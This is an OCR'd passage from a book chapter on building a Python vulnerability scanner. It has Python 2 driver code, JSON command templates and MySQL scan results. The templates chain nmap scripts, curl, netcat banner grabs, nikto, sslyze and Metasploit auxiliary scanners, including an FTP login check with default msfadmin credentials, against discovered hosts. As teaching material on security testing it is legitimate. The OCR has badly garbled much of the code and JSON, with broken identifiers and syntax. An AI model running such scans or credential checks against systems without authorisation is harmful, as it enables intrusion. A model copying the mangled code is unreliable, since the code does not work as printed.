status varchar (500) Incomplete
project int(11) NULL

Sevices_detected

rows in set (0.00 sec)
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| 2542 | 10.0.2.15 | 1-21846 | complete | 744 | host;protocol;port;name;state;product;extrainfo;reason;v
ersion;conf ;cpe
10. .15;tcp;22;ssh;open;0penSSH; protocol 2.0;syn-ack;0OpenSSH-7.2p2 Debian 5;10;cp o:linux:linux_kernel
10.0.2.15;tcp;80;http;open;nginx; ;syn-ack;nginx-1.10.2;10;cpe:/a:igor_sysocev:nginx:1.10.2
10.0. .15;tcp;111;icbind;open;;RPC #100000;syn—-ack;-2-4;10;
10.0.2.15;tcp;443;https;open;nginx; ; syn-ack;nginx-1.10.2;10;cpe:/a:igor_sysoev:nginx:
10. .15;tcp;8000;http;open;nginx; ;syn-ack;nginx-1.10.2;10;cpe:/a:igor_sysocev:nginx

.15;tcp;8002;rtsp;open; ;;syn-ack;-;10;

| 10.0.2.15 | 21846-43691 | complete

| 10.0.2.15 | 43691-65536 | complete

ysql> desc IPtable_history;

text

varchar (1000)
status varchar (500) Incomplete
project int(11) NULL

Sevices_detected

rows in set (0.01 sec)
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Chapter 6: Vulnerability Scanner Python -

Part 2

Mastar Jzon File

Sarvica: FTD

Exploits: Frpl. Frp2

Sarvica: SSH

Scan ID Scan id
Farcent Process Controlier (Driver.py) |—- Config
Default Configuration
Involke as sub process l Scan ld Scan ld +Process id (updars )
‘ Drive Process —Driver.py | Semi i
P U pdated Configuration / = = Host. Port.
Service key Exploit List Method id, Exploit. host, port Service,
USER - Record_id

- +
/ Auto_commands. py

Host, Port, exploit, Timeout

| Parent Thread(wait till Time out ) |

Port, exploit
1 * ’ Host. Port. Commanad

Process->Mew Process (os.pipe)
Process->External Script (exploit)

ymoushn'

1 Results
AP +
USER Get Report —-. Gencrate Roeport .
-
. MetaSploit Template single Line Commands -Timeout
G EEN - {
"Commands": [
“args": [ e <port> < t=
E -a Metasploit_automationin',
= (e
Loit_automationin”, it
-/ ftp/ ftp_loginin", ’
5 AME msfadminsn', 1.
P RD msfadminin®, | {
VERHOSE false\n"
it Ft:'- Login auxillary"
ut™,
automationr -
{

1, “Custom™: “false” }

‘sat VERBOSE Tal n » .
1. i
::1-1'U.- ‘ tp_2’ - . - AT,
me plele H custom meta', +
"title": "Metasploit Ftp_anonymous auxillary" v
[£] ”. (1} ”.
key™: { “Commands”: [

T4title”:“value”,”method_id"”:"value”,"args”:[arg1,arg2, arg3...],"command_id":"id"}

JSetitle” :"value”, "method_id”:"value”,”args":[arg1,arg2, arg3...],"command_id":"id"}
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1 driver_meta driver
2 obj=driver.Driver()

3 obj.main[§]

json, time, sys, auto_commands, psutil, HySiLdb, threading, multiprocessing, Logging, Logging. handlers

luto_logger,json.IPexplnits,te:ttahle tt,csv,os, IPtable, copy
Fo= W033[3Te° , b o= 'AB3I3[34m° , ¥ = '\O3I3I[I3m' , g = ‘NOII[I2m' ,m o= "\OII[I4m',c = 'NOII[I6m’
p = "4O3I3[95m" , e = "NO3I3I[Om' , Lr= "A3II[9Im"

class Driver:
def init (self):
selfT.con=None
self.cursor=sNone
self, logger=None
self.Log_file=None
self.project_id="Default"
self.lock = threading.Lock()
self. Auto_logger=Auto_logger.Logger()
self.commandObj=auto commands . Commands ()
self.config={}
self.config file={}
self.rows=[] , self.method_id="INIT"|
self.processed servicessNone
self.commands Json=None I
self, IPexploits=[]
self,.IPexploit=IPexploits. IPexploits()
self.IPtable=IPtable.IPtable()
self.missed_services=None
self.new _and unknown=[]
self.data_path=""
self.parent_Tolder="Results_and_Reports*™
self.folder_dir=os.path.dirname{os.path.realpath{__ file_ })
sell.results path=os.path. jein(sell.Tolder_ dir, "Results™)
self.folder_name=os.path. join(self.results_path,
self.generate_report=fFalse
self.N=10
self.active processes=i
self. thread_count=l
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def main(self,mode="c',project_id ='',continue_=False,delete=False, get_updated_config=False,
threading_sFalse, concurrent=False, record_llist= 1. skip_init_check=False, resume=False):
Try:
return_set={}

self.method id="Main({)%
tt.Texttable() .

tab
= = [[1]
self.project uh]—l?table Projects()
if mode [=
result ﬁe1f project_obj.completed projects()
clse:
result=self,project_obj.completed projects{project id ,

s True)

valid projects=[]

for row in result:
x.append({[str{row[0]),;str{row[11)]1)
valid projects.append(str{row[0]1))

.tah add_rows(x)
tab.set cols _align([”’ 1)
tab.header ([ 1Ds " 'PRD][(T NAME 1)
if mode=="c':
print r+"List of Project with IDs"+e +"\n"
print tab.draw()
while 1:
id = raw_input(b+"[+]Enter The Project Id For Scanning :\n=>"+e)
reenter=False
if id in walid _projects:
check status=self.IPexploit.Exists{id)
if (check_status ==1):
print y+"[+] It seems ,you hawe alreday launched exploits for this project .\n
[+]Proceeding Turther would overwrie old logs. "+e

while (1}
ch=raw _input(b+"[+]Press 1 to Proceed 2 to Re enter.\n"+e)
if ch=="1":
self.IPexploit.removelPexploit(id,all_s=True)
break

elif ch=="2":
reenter=Irue
break
if (reenter==stalse):
break
else:
print r+"[+] Invalid project id.Please select an id from the provided list "+e
print "\n"

self.project_id=id
status=sell.init_project_directory()
i "INitialised™

return_set["status"]="failure"
return_set["value"]="some error occured while creating the directory--Exiting...'
print(“some error occured while creating the directory\nExiting...")
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"http“= {

“"Commands"™: [
i
*args™: [
"500",
“"nmap -Pn —-script:bannek.nse -p <port> <host>"
1,
"id": "http_5",
“"include™: true,
“interactive™: "0",
"method": "generalCommands_Tout_ Sniff",
"title": "HTTP banner"
}.
{
"args'": [
"500",
“"curl -v -X TRACE <host=:<port="
1,
"id": "http_trace_2",
"include': true,
"interactive™: "0",
"method": "singlelLineCommands_Timeout®,
“"title™: "HTTP Trace"™
)}
{
"args': [
500,
“"nmap -sV -Pn --script=http-trace.nse -p <port=>
1,
"id": "http trace 1",
“include"™: true,
"method": "singleLineCommands Timeout™,
“"title"™: "HTTP Method Enabled Trace"
¥},

<host>"
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"args": [
500",
“nmap -sV -Pn --script=http-trace.nse -p <port> <host>"
1,
“id": "http trace 1",
"include™: true,
"method'": "singleLineCommands Timeout",
“"title™: ”HTTﬁ.Hethod Enabled Trace™
. =
{
“args": [
“"use auxiliary/scanner/http/trace",
"set RHOSTS <host>",
“"set RPORTS <port="
1,
"id"™: "http_trace_ 3",
"include™: true,
“method": “‘custom meta®,
“title*: "Metasploit Trace Check"
}:
{
"args": [
500",
“"echo -e 'Get/HTTP/1l.0\\n\\n' | nc <host> <port> |grep 'Server"'"
1.
"id"™: "http banner 1",
"include": true,
"method'": "singleLineCommands Timeout',
“"title™: "Banner is enabled"
1.
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}.

"args™: [
“"use auxiliary/scanner/http/http_version',
"set RHOSTS <host=>",
“"set RPORTS <port="

1,

"id": "http_banner_2",
“include": true,
“"method": "custom meta",
"title": "Metasploit Banner Check”
“args'™: [
II500II' I
"nmap -sV -Pn --script=http-headers -p <port=>
1,
"id": "http headers 1",
"include"™: true,
"method": "singleLineCommands Timeout",
"title": "Http Headers"
"args'": [

"use auxiliary/scanner/http/http header",
"set RHOSTS <host>",
“"set RPORTS <port="

1,

“"id": "http_headers_2",

"include": true,

“method": "custom_meta",

"title": "Metasploit Headers Check"

=<host>"
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1},

uargsu: [
"560"1

“"nmap -sV -Pn --script=http-methods -p =<port>

1.

"id": "http_methods_1",

“include'": true,

"method": "singlelLineCommands_Timeout",
“"title": "Http Headers"

“"args': [

“"use auxiliary/scanner/http/options",
“"set RHOSTS <host=>",

“"set TPORTS <port="

1,
"id": "http methods 2",

“"include'™: true,

“"method": "custom meta",

“"title"™: "Metasploit Headers Check"

“args": [

500",

“nmap -sV -Pn --script=http-robots.txt
1.
"id": "http_robots 1",
"include": true,
"method": "singlelLineCommands Timeout",
“title": "Http Headers" o

-p <port=

=<host>"

<host>"
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"args™: [
"use auxiliary/scanner/http/robots_txt",
"set RHOSTS <host>",
“set RPORTS <port>"

1,

"id": "http_robots_2",

“include*: true,

"method": "custom meta",

"title'™: "Metasploit Headers Check"

"args"™: [
"500",
“nmap -Pn -sV --script=http-iis-webdav-vuln.nse
]l
"id": "http web dev 1",
"include"™: true,
"method'": "singlelLineCommands Timeout",
“"title™: "WebDav is enabled™

“args™: [
"use auxiliary/scanner/http/webdav_scanner',
“"set RHOSTS =host=>",
“"set RPORTS <port>"

1,

*id": "http_web_dev_2",

"include': true,

“method': "“custom_meta®,

"title™: "Metasploit WEb Dev Check"

+

-p <port>

=host>""
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} s,

-m 10

“args": [
2400,
"nikto -h <host>:<port="
1,
“id": "http 1",
"include™: true,
"method": "singleLineCommands Timeout",
“title*: "HTTP Nikto check :*
"args'": [
3000,
“"hoppy -t 12 -h <host>:<port="
1,
"id": "http_Z".
“"include™: true,
"method": "singleLineCommands Timeout",
"title"™: "HTTP Hoppy Python check :"
“args": [
"“3J000",
" perl Scripts/http-dir-enum/http-dir-enum.pl
-f Scripts/http-dir-enum/directory-names. txt
http: //<host>: <port="
1.
“id": "http 3",
“"include™: true,
“"method'": "singleLineCommands Timeout®,
“"title™: "HTTP-dir enum perl check :"
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if mode 1="c':
return return_set
else:

return
all_config_file=os.path.join(self.folder_dir,"all rnmmandﬂ.jqnn”)(?i?

with openf{all config file, "rb") T:

jsonpredata = json.loads{f.read(}))
sell.commandsJson=jsonpredata
profile_list=self.project_obj.getProfile({self.project_id) (?\

profilesprofile_List[0]
if H
if profile== -1:
praftile="Mandatory"
if profile=="Master":
profile file=os.path. join(self. folder_ dir, "Master. json™)
elif profile=="Mandatory" or profile == "Custom Mandatory":
profile Tile=sos.path.join(sell.Tolder dir, "Mandatory. json™)
ellf profile=="Analytical" or profile == "Custom Analytical™:
profile_file=os.path. join{self. folder_dir, "Analytical. json")

else:
profile_file=profile_list[1]

with open(profile file, “r+°}) infile:
self.profilelson=json.loads{infile. read())

“"http": {
"Custom": false,
"Test cases™: [
“"http_5", "http_trace_2", "http_trace_1","http_trace_3",
“"http_banner_1","http_banner_2", "http_headers_1", "http_headers_2",
“http_methods 1", "http_methods 2","http_robots 1", "http_robots 2",
[*http_web_dev_ 1", "http_web_dev_2"
1
1.

| 2542 | 10.0.2.15 | 1-21846 | complete | 744 | host;protocol;port;name;state;product;extrainfo;reason;v

ersion;conf;cpe

10.0.2.15;tcp;22;ssh;open;0OpenSSH; protocol 2.0;syn-ack;0OpenSSH-7.2p2 Debian 5;10;cpe:/o:linux:linux_kernel
0.2.15;tcp;80;http;open;nginx; ;syn-ack;nginx-1.10.2;10;cpe:/a:igor_sysocev:nginx:1.10.2
O.2.15;tcp;111;rpﬁbind;open;;RPC #100000;syn-ack;-2-4;10;
.0.2.15;tcp;443;https;open;nginx; ; syn-ack;nginx-1.10.2;10;cpe:/a:igor_sysoev:nginx:1.10.2
0.2.15;tcp;8000;http;open;ngin syn-ack;nginx-1.10.2;10;cpe:/a:igor_sysoev:nginx:1.10.2
0.2.15;tcp;8002;rtsp;open; ;;syn-ack;—;10;

| 10.0.2.15 | 21846-43691 | complete | 744 | NULL

| 43691-65536 | complete | 744 | NULL

self.cur.execute("SELECT Sevices_detected from IPtable_history where project=%s and
Sevices_detected is not null”, (int(project_id),))
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1stl = []
id_=int(id)
if skip_init check==False:
if concurrent==false:
result=sell.IPtable.
else:
result=self.TPtable.getServicesDetected(id_
result_sresult
mpty=lrue
or rw in result:
if rwl0] is not None:
empty=False
if (result_==0) or (mot result_) or (empty==]iue):
print(”Some ecxception occured as result is emply
resp_stat={}
resp_stat[“status
resp_stat[“value™
return resp_stat
row in result_:
if row[0] is not None:
string = str{row[0])
s = string.split(™wn™)

both exploit launching and def config
getServicesDetected(did ) .

True, record_list)

l--"#sir{result_))

failure®
‘No service was detected for this scan.”

for k in s:
t = strik).spLlit{";")
1stl.append(t)
1st = {}
For i in l=stl:

11‘ lenl‘.lj s not

te-p:l]i[s] [iro1,ir21,4ir41,irs11Q
if cmp(lst.keys(), temp):
Lst.setdeTaultiir i1,

I .append(TATOT. A121. 4141, 41511

else;
1st.update(temp) .
Lst.pop(name")

all_config_ file—ns.path join(self fo‘lder dir."all corlnanl.‘ls json"l
with open(all_cenfig_file,"rb

jsonpredata json. lnads(f read(]] # = all ervice types in m

ter

1lst_pre = jsonpredata.keys()
. 1st_temp = lst.keys()
55

set('l.st te-p) intersection(set(lst pre])

+" and 1st is “+stri(lst) +"and 1stl 7s :" +rilst]

dic

for i in ss:
.ror k in lst.get(i):
dic. setde fault l‘. 11

for i in ms:
for k in lst.get(i):
ms_dic.setdefault(i,

[1).append (k) #</

[1)-append (k) .

self, processed_services=dic #
self.commandslson=jsonpredata

self.

missed services=ms dic

if modes="c':

self,
self
self.
self
self.
self.
self.

set_log_file()

JAPexploit.data_pathssell.data_path

IPexploit. logger=sself. Logger

.commandObj .

commandObj .
commandObj .

commandObj .

project_id=self.project_id
data_path=self.data_path
set_Llog_file()
logger_info=self.logger

self.parse_and_process() .
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if{(sell.generate_report==Irue) :‘
if mode==‘c':
while {(1):

inp=raw input({"\n'" + g +"[+] Press 1 to generate the report and 2 to exit “n")

if (inp=="1"):
self,IPexploit,generate_report(self.project_id)
break

elif (inp=="2"):
break 1

else:
self,.IPexploit. generate_report(self.project_id)

if skip_init_check=ssFalse:

temp_fTilesstr{id) + " result_data.txt"

data filesos.path. join(seclf.data_path, temp_Tile)
json.dump(dic, open(data_file, "wb"))

data = json.load{open{data file,"rb"))

data_temp = []
fer j in data:
data_temp.append(j) #3011 keys of json file go in data_tem;

except Exception ,ee:
print str(ee)
self.print_Error("Error occured in Main method “+str(ee))
return_set={}
return_set[status”]="lfailure"
return_set[“value”]="Exception occured :"+str(ee)
return return_set

def parse_and_process(self,mode="c’,continue_=False,concurrent=False):
try:

self.method_id="parse_and_process{)}"

self.print_Leog("Starting method --> "+self.method_id)

self. rows=[]

self.new _and unknown=[]

self.IPexploits=[]

if (self.missed_services): Zcheck 1 not none it returns false for
print "Missed services does contain data 111"

fold k,v in self.missed services.iteritems():

entries={}
entry={}
service_status

=" unknown

#print "Misse vice 1s "+strik)

if (k=="unknown'):
service_status="unknown’
entry[ "unknown" ]=True

elir(k :

service_status='new’
entry[ "unknown"]=False
entryl[®
#entr

if entry:
entries["Entries"]=entry
entries=json.dumps{entries)

else:
entries["Entries”]={"unknown”:False, "new”:False}
entries=json.dumps{entries)

for h_p in v

self.rows, append ((self.project_id,str(h_p[0]1),str{h_p[1]1),str

(k), "init’, entries, service status,str(h pl[2]1),str{h_pl31)))

self.IPexploits.append (IPexploits. IPexploits(self.project_id,str(h_pl0l),strih_p

[11),str(k), "init’,entries,service_status))

if (self.processed _services): #oicT Torm of services That are discoversd b

for k,v in self.processed services.iteritems():
entries={}
commands_and_exploits={}

commandsison

Ice _wval.g

_val.get("'

row=[ ]
. service val=self.commandslson.get(k) # ~ would be service and woule
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if(is custom=sFalse):
entries=self.getTemplate(k)

_.' if(entries |= -1):

for h_p in w:
—_— - self.rows. append({{self.project_id,str{h_pl[0]l),strih_pl[ll),str
(k), "init",entries, 'existing’,str(h_p[2]),str(h_p[31)))
sell.IPexploits. append(IPexploits. IPexploits(self.project_did,stri(h_pl[0]l),str
(h_pll]l),str(k), "init’ ,entries, 'existing"'))
self.config[k]=row

else;
print ror entry -1 for key -- Does not support recursive classes:"+str(k)
self.print Error{"Entry error {(returns -1) for key “+str(k))

elif{is custom==True):
all_commands=service_val.get(’'Commands’)
if all_commands:
for entry in all_commands
if (entry):
entriessscli.getTemplate{entry)
if(entries 1= -1):
for h_p in w:

self.rows.append((self.project_id,str{h_p[0]),str{h_p[1]),str
{entry), "init',entries, "existing’,str{bh_p[21),str(h_p[31}))

self.IPexploits. append(IPexploits, IPexploits(sell.project_did,str
(h_plol),stri{h_p[l]1),str{entry), "init’,entries, ‘existing"))

self.config[k]=row

if self.rows:

selT.IPexploit. insert[Pexploits(sell. rows)
print “wn™

if mode=='¢

self. LaunchC onfiguration()
else

if concurrent==True and continue_s==False:
return

elif continue == False and concurrent==False:
return_va elf.LaunchConfiguration{False, "gui’,False)
return return_wal

mysql> select id,Pid,Host,Port,Service,Project_status from IPexploits where Pid=744;

20947
20948
20949
20950
20951
209562

rows in st (0.00 sec)
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mysql> select Service,Exploits from IPexploits where Pid=744 and (Service='ssh' or Service='rtsp');

e

| {"Entries" _1": [true, "O "o"], "ssh_2": [true, , "o"]l, _: , "Oo"], "ssh_4
"o*, "o"1, "ssh_5": [true, "O , "ssh_6": [true, "O", 13}

rows in set (0.00 sec)

else: |
val=self, LaunchConfiguration(T =, ‘gul’, True)
if wal :
self.launchExploits()
else:
print "wnn Some massiwve error occured I am here 1%

else :
print "\n"+g+"No Common service
return_set={}
return_set[“status
return_set[“"value
return return_set

win or new service discovered !1"+e

d no un

=mpty"
o Common service and no unknown o

=

new service discovered !1"

except Exception, ee:
self.print_Error("EXception -->"+str(ee))
return_set={}
return set[“status™
return_set["value
return return_set

“failure”
triee)
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def LaunchConfiguration(self,make_config=False,mode="c",continue =False,concurrent=False, record list=
[1):
try:
print [" l1"-tq+"[+] Launching configuration ...."+e)
xrlr.method_ld LaunchConfiguration()*™
self.print_Log("Starting method --> “+self.method_id +"Project id --> "+self.project_id)
id_=int(self.project_id)
if concurrent==false:
1 IPexploits=sselfl.IPexploit.getIpExploits(self.project id)
else:
IPexploits=self.IPexploit.getlpbLxploit(self.project_id, record list)
IPexploits and commands=[]
list_row=[]
config_list=[]
tab_draw=[ ]
for row in IPexpleoits: #:ow o f type tuple whi

. © .getc (row[4l
Sorint 1s got s

1ist_ rou.anpendt{rou["].rou[1].rnu[)] rau[*],row[4],rou[H],ronnands.rou[f];rou[IU],rou

rowldl. lowljli"-

[11],row[12]))
tab_draw. append((row[0], row[ 1], rowl[ 2], row[ 3], row[41], row[5], ' ", commands) ) .
header=[]
header=["ID", "PROJECT_Id", "HOST", "PORT ", "SERVICE ", "Commands "]
col_width=[5,5, 15,5, 7,40]

#s21F. {}

return_se

if mode 1='c' and continue_== False:
if concurrent==False:
all_exploits=self.TPexploit.getUnknownServicesOnly(self.project_id)

else:

all_exploits=self, IPexplolt getUnknnunServlcesﬂnly(self pro]ect id, True, record_list)
for row in all_expleoits: & o

print “Row found UNknown al S0 w‘jTh Bth element as : "HTr[rDH[D]}
empty_dict={}
I empty_dict["status”]="empty"
list_row. append((row[0], row[ 1], row[2],row[ 3], row[4], row[%],empty_dict,row[/], row[10], row

[111,rowl127))

print "‘n'nAbout to return now !11"
return_set["status "reconfig”
return_set["value”]=list_row
return return set

for row in list row:
config_entry={}
print(”\n"+ Lr +"SENIRSSRERRNEREENERBEEEEN" )

if mode
print {'"n"+g+"[+]Project id : "+y+stri{row[Ll])+g+" [+] Hoest : "+y+ strirowl[2])+g+" [+]
Part : +y+-,|.r(tnw[<]} ﬂ3+ |+| Service : Ysy#str{row[4])+e)

command data uw[h]
config_entry["id"1=str{row[0])

config _entry["Project id"]=str(row[1])
config_entry[“Host"]=strirow[2])
config entry["Port"]l=strirow[i1)
config_entry["Service”]l=str{rowl[4])
config entry[“IsCustom"]=False
config_entry["IsModified”]=False
command_Llist=[]
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for k in command_data:
id =k.get("id")
command_list.,append(id_)
args=k.get{‘args’')
if mode =='c':
M e 95 AR RN )
print{r+”"Command id :-->"+y+str(id_)+e)
printfir+"commands : "+ef]
for aur in args:
if dsinstance{aur, basestring):
aur=aur.replace( "\n*, ")
if mode ‘c':
print str{aur)

if mode =='c
B LTI [ % g )

if mode =='c':
print(“wn"+ lr + +e)
config _entry["Commands"]l=command_List
confTig_Llist.append{config_entry)
self.config file["Records”]=config list

if mode !'='c’ and continue_==True and make_config==True:
self,makeConfigurationFile()
return | I

if(make config==True):
self.makeConfigurationFile()

print{y+" n\n[+] The above configuration has been selected :Press 1 tolaunch the tests ,2 to
reconfigure 111"+e)
choice="0"
if mode==‘c":
while (1):
choice =raw_input(b+"\n=Please enter your choice\n "+e)
1) or {(choice=="2")):

print "\n" + r +"[+] Invalid choice " +e
if (choice =="1"):

self. launchElplolts().
else ;
self.reConfigure()

printfl"Some error occured with flow.This should not be executed !!"[]
#self.r nfigure( gui"

except Exception ,ee

self.print_Error("EXception 11--="+str(ee))

print “Exception 11"+str(ee)
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2500

sslyze <host>:<port>

4000
bash Scripts/testssl.sh -A <host>:<port>

4000
bash Scripts/testssl.sh -F <host>:<port>




def lLaunchExploits(self,concurrent=False, record_list=[],resume=False,params_key="Default™):

Objective :

This mehod will actually invoke the Tile auto_commands.py with appropriate commands
and method in order for the method te launch vulnerability scanning with external
scripts .This method does the same with threading disabled.

try:
self.method_id="LaunchExploits()"
self.print_Log("Started method LaunchExploits()*)
if concurrent==False:
self.generate_report=True
if concurrent==fFalse:
AT resume==false:
IPexploits_data=self.IPexploit.getIpExploits(self.project_id)
else:
IPexploits data=self.IPexploit.getIpExploits(self.project_id,None, True)
print "Now sleeping for 20 sec 1™
time.sleep(20)
else!
TPexploits_data=self.IPexploit.getIpExploit(self.project_id, record_list)
Aif((IPexploits data !=-1 ) and (IPexploits data is not None)):
Try:
for exploit in IPexploits_data:
current_record_id=exploit[0]
servicesstr(exploit[4])
host=exploit[2]
port=explodit[i]
self.IPexploit.UpdateStatus( 'processing’, host,port, int(self.project_id), int
(current_record_id))
except Exception ,exce;
\ print "Exception occured while updating the record status :"+#+str{exce)

if((IPexploits_data !=-1 ) and (IPexploits_data is not Hone }):

| for exploit in TPexploits_data:
try:
current_record_idsexploit[o]
service=str{exploit[4]1)
host=exploit[2]
portscxploit[ 3]
self.print_Log("Service, Host,port is -->"#str({service)+” " +str{host)+" ‘'#str
(port))

entry=self.commandsJson. get{service)

. metasentry.get (" Commands )
self,IPexploit, UpdateStatus({ "processing’, host, port, int{sell,.project_id), int .

{current_record_id))

prorllc_servlcedsrlr,protichson.gettscrvict]

id_list=profile_service.get{ 'Test_cases')

execute=lrue

params_conflig_file=os.path. join(selT. fnlder _dir, "Project_params. json™)

wWith open(params_conTig_Tile, “rb™)

all_parals._datn = ]son loads{T. read[}} #--= all service types I master

param data=all params data.geti{params key, None)

user=""
password=""
domain=""*
user sids="
if param_data != None:
user=param data.get(“User™, ™"}
password=param_data.get (" "Password", """}
domain=param data.get{"Domain", """}
user_ sidsparam_data.get({"User_sid", """}
for entries in meta :
execute=sentries.get("execute", True)
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if entries.get{ id") in id_list and execute ==lrue:
method name=entries.get( 'method")
args=entries.get( 'args")
self.command0bj . method_id=method_name
sell.commandObj . command id=entries.get(’'id")
self.commandOb]j.current_record id=current record id
self.command0b]j . current_host=host
self.commandObj.current_port=port
self.commandObj . data_path=self.data_ path
final_args=[]
for arg in args:
if isinstance(arg, basestring):
arg=arg.replace ("<host>", host)
arg=arg.replace (“=port=", port)
arg=arg.replace(“=user=", user)
arg=arg.replace( issword=", password)
arg=arg.replace("=domain>", domain)
arg=arg.replace("<user_sid=",user_sid)
Tinal_args.append{arg)
if {((method name)):
func = qudt1|[wrlf.rammandohj,marhod_nanelgi?
pr'i.l'lt "J.rlvukillq LN

is_interactive=entries.get( interactive’)
@ self.command0bj.print Log info(".n'n'n STARTING EXPLOTTS FOR PROJECT
ID --= " #+strself.project_id))
print "Logged"
Try:

if((is interactive !=None ) and (is interactive
print "Launching General interactive mode !

"))
>=Method-

="+method_name
func(final args,True)

else:
print "Launching without interactive mode !1!--->"+method_name
grep= entries.get("grep”,None)
if grep != Hone:
grep_commands=entries.get("grep_ commands')
GE? func (final_args; arep_commands)
else:
func(final_args)
self, IPexploit.TestCaseStatus( ' true’ ,host,port,int
(~v1f.pro]ect_1d).iut(current_record_ld)ldﬁi
=

except Exception ,ee:
print "Exception occured while executing exploits for command
id :"#+stri{entries.get("id"))

self.IPexploit.UpdateStatus( ‘' complete’, host,port,int(self.project_id), int
(current_record_id)) @I
except Exception ,exccc:

print “"Exception ==-=-= “#str(excecc)

self.IPexploit.Updatestatusfl'error-complete’, host,port, int(self.project_id), int
(current_record_id)f]

except Exception ,ee:
self.print_Error{"Inside exception of launch exoloits :"#str(ee))

| 736 | {"Entries": : [true, "[u'sslyze 10.0.2.15:443', '\\nEnd']", "Command Executed :sslyze 10.0.2.15:
443\n\nResult\n\n\n AVAILABLE PLUGINS\n --——--———-—-——- \n\n PluginOpenSSLCipherSuites\n PluginSessionResumpt
ion\n PluginChromeShalDeprecation\n PluginHSTS\n PluginCertInfo\n PluginHeartbleed\n PluginCompression\n P
luginSessionRenegotiation\n\n\n\n CHECKING HOST(S) AVAILABILITY\n 10.0.2.15:
443 => 10.0.2.15:443\n\n\n\n SCAN COMPLETED IN 0.08 S\n \n\n\n"]1,

"ssl_5": [true, "[u' nmap -Pn —--script=ssl-cert -p 443 10.0.2.15', '\\nEnd']", "Command Executed : nmap -Pn —--sc

ript=ssl-cert -p 443 10.0.2.15\n\nResult\nStarting Nmap 7.12 ( https://mmap.org ) at 2017-08-19 00:54 UTC\nNmap

scan report for 10.0.2.15\nHost is up (0.000048s latency) .\nPORT STATE SERVICE\n443/tcp open https\nl| l-ce
rt: Subject: commonName=paladion.net/organizationName=Paladion Networks/stateOrProvinceName=Bangalore/countryNam
e=IN\n| Issuer: commonName=paladion.net/organizationName=Paladion Networks/stateOrProvinceName=Bangalore/country
Name=IN\n| Public Key typ rsa\n| Public Key bits: 2048\n| Signature Algorithm: sha256WithRSAEncryption\n| Not
valid before: 2017-02-17T07:34:13\n| Not valid after: 2018 17TO7:34:13\n| MDS: 9bcd 7086 3638 9f00 f8bd ed
60 eel7 3077\n|_SHA-1: 27056 122c 70d7 8eef 1f41 419b 45a2 17c7 e904 5e54\n\nNmap done: 1 IP address (1 host up)
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import shlex,sys,time,pyshark ,pexpect,commands,urllib2,requests,threading,subprocess,psutil,logging,logging.handlers,threading
from subprocess import Popen, PIPE, STDOUT
import Auto_logger ,IPexpleits,time,unicodedata,chardet,os,json
class Commands:
def __init__(self):
self.project_id=084
self.method_id="INIT"
self.command_id=None
self.Log_file=str(self.project_id) +str("_Log_file")
self.lock = threading.Lock()
self.logger =None
self.logger_info=None
self.Log_file_info=None
self.exploit_results=None
self.con=None
self.cursor=None|
self.Auto_logger=Auto_logger.Logger()
self.IPexploitobj=IPexploits.IPexploits()
self.current_record_id=None
self.general_op=""
self.current_host=""
self.current_port=""
self.data_path="
self.general_op=""
self.Kill=False

def custom_meta(self,commands):
try:
exploit_result=""
commands_launched=[]
self.method_id="Custom meta"
self.print_Log_info("Inside command_meta")
. self.print_Log("Inside command_meta™)

child = pexpect.spawn('msfconsole -q°)

commands_launched.append( '>msfconsole \n")

i=child.expect(['.*> ', pexpect.EQOF,pexpect.TIMEOUT],timeout=480) .
run=True

if (i==8):

self.print_Log(str(child.after))
commands_launched.append(str{child.after))
self.print_Log(str{i))
for command in commands:

command=command . replace("\n","")

.:hlld.sendltne(connand)

time.sleep(3)

j=child.expect{['.*> ', pexpect.EOF,pexpect.TIMEOUT] ,ttneout:é':m).

if(j==0):

! self.print_Log(str(child.after))
[< ds_launched.append{str(child.after)+"\n")

continue
. elif(j==1):

self.print_Log("EOF reached--=Not launching the run command”)
self.Display_msg(child)

c ds_launched.append{str{child.after)+"\n")

run=False

break
. else:

self.print_Log("Time out exceeded in child check -=Not launchimg the run command")
self.Display_msg(child)

commands_launched.append(str(child.after)+"\n")

run=False

break
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args':

“use auxiliary/scanner/http/http header",
"set RHOSTS <host>",
"set RPORTS <port="

1,

“id"™: "http headers_ 2",
“include": true,
“method": "custom meta",

“title"

[

: "Metasploit Headers CheTk“

lelif( 1==1):

else:

if(run==True):

self.print_Log("EOF reached Outer Expect--sNot launching the run command"}
run=False

self.Dlsplay_msg(child)
commands_launched.append("EOF->"+str(child.after)+"\n"}

self.print_Log("Time out exceeded in parent check -=Not launching the run command™)
run=False

self.Display_msg(child)

commands_launched.append("Time out exceeded "+strichild.after)+"")

self.print_Log("\n\nEverything Fine till now-->Launching run commandinin")
self.print_Log_infe("\nEverything Fine till now--=Launching rum commandin")
child.sendline( ' run")

#commands_launched. append( '>run')

time.sleep(3)

k=child.expect(['.*=.*', pexpect.EOF,pexpect.TIMEOUT],timeout=1560)
time.sleep(2)

1f(k==0):

self.print_Log("\n\nModule Execution completedinin")
self.print_Log_info("\nModule Execution completed\n™)
self.Display_msg(child)

commands_launched.append(’ '+str{child.after)+'\n")
exploit_result=exploit_result+"Command Executed :"+commands_launched[&]
exploit_result="\n"+explolt_result+"\nResult :\n"+str(child.after)
#exploit_result=str{child.after)

self.print_Log("\nYnNow exiting !!!\n\n")

self.exit_child{child)

self.print_Log("closing the child pipe 111")
child.close(force=True)

else:

self,print_Log("some error occured while running the aux module !!")
self.print_Log_info("seme error eccured while running the aux module !:")
self.print_Log _Error("some error occured while running the aux module 11")
self.print_Log("The wvalue of expect here is :" +str(k))
self.Display_msg(child)

commands_Llaunched.append('<Finished-T/0 or EOF='+str(child.after}+'')
exploit_result=exploit_result+"Command Executed :"+commands_launched[@]
exploit_result="\n"+exploit_result+"\nResult :\n"+str(child.after)
#exploit_result=str{child.after)

self.print_Log("\n\nNow exiting !!!\n\n")

self.exit_child({child)

self.print Log("Closing the child pipe 11!1!")

[113 ]



. else:
self.print_Log("Run Flag is Mot true 11")
self.print_Log_info("Run Flag is Not ftrue !1")
self.print_Log("Closing the child pipe 111")
child.sendline( 'exit')
child.close(force=True)
exploit_result="Command msf console falled to load the console or timeout occured "
exploit_result=exploit_result+"Command Executed :"+commands_launched[0]
exploit_result="\n"+exploit_result+"\nResult :\n"+commands_launched[len{commands_launched)-1]

self.SaveDetails(str(commands_launched),exploit_result)
self.print_Leg_info("Exiting custom_meta 11"}

except Exception ,e:
self.print_Error{str{child.after))
self.print_Error{"Custom MetaSploit module has exception :" +str(e))
self.print_Error_info{"Custom Metasploit module has exception :" +strie))
#self.Display_msg("Closing the child plpe 11!")
child.close(force=True)

def SaveDetails(self,commands,result):

status=1
self.IPexploitobj.logger=self.logger
